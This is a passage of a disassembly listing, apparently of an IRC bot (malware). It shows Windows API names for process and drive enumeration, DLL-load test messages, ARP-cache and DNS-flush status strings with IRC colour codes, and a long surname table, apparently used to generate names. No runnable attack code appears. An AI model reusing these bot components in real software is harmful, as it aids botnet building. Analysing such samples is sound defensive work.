aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 10h
unk_42D330	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 4
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42D4C0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 10h
unk_42D4F0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 10h
unk_42D520	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D544	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_42D58C	dd 0			; DATA XREF: sub_40B08D+7o
off_42D590	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42D5F8	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D604	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
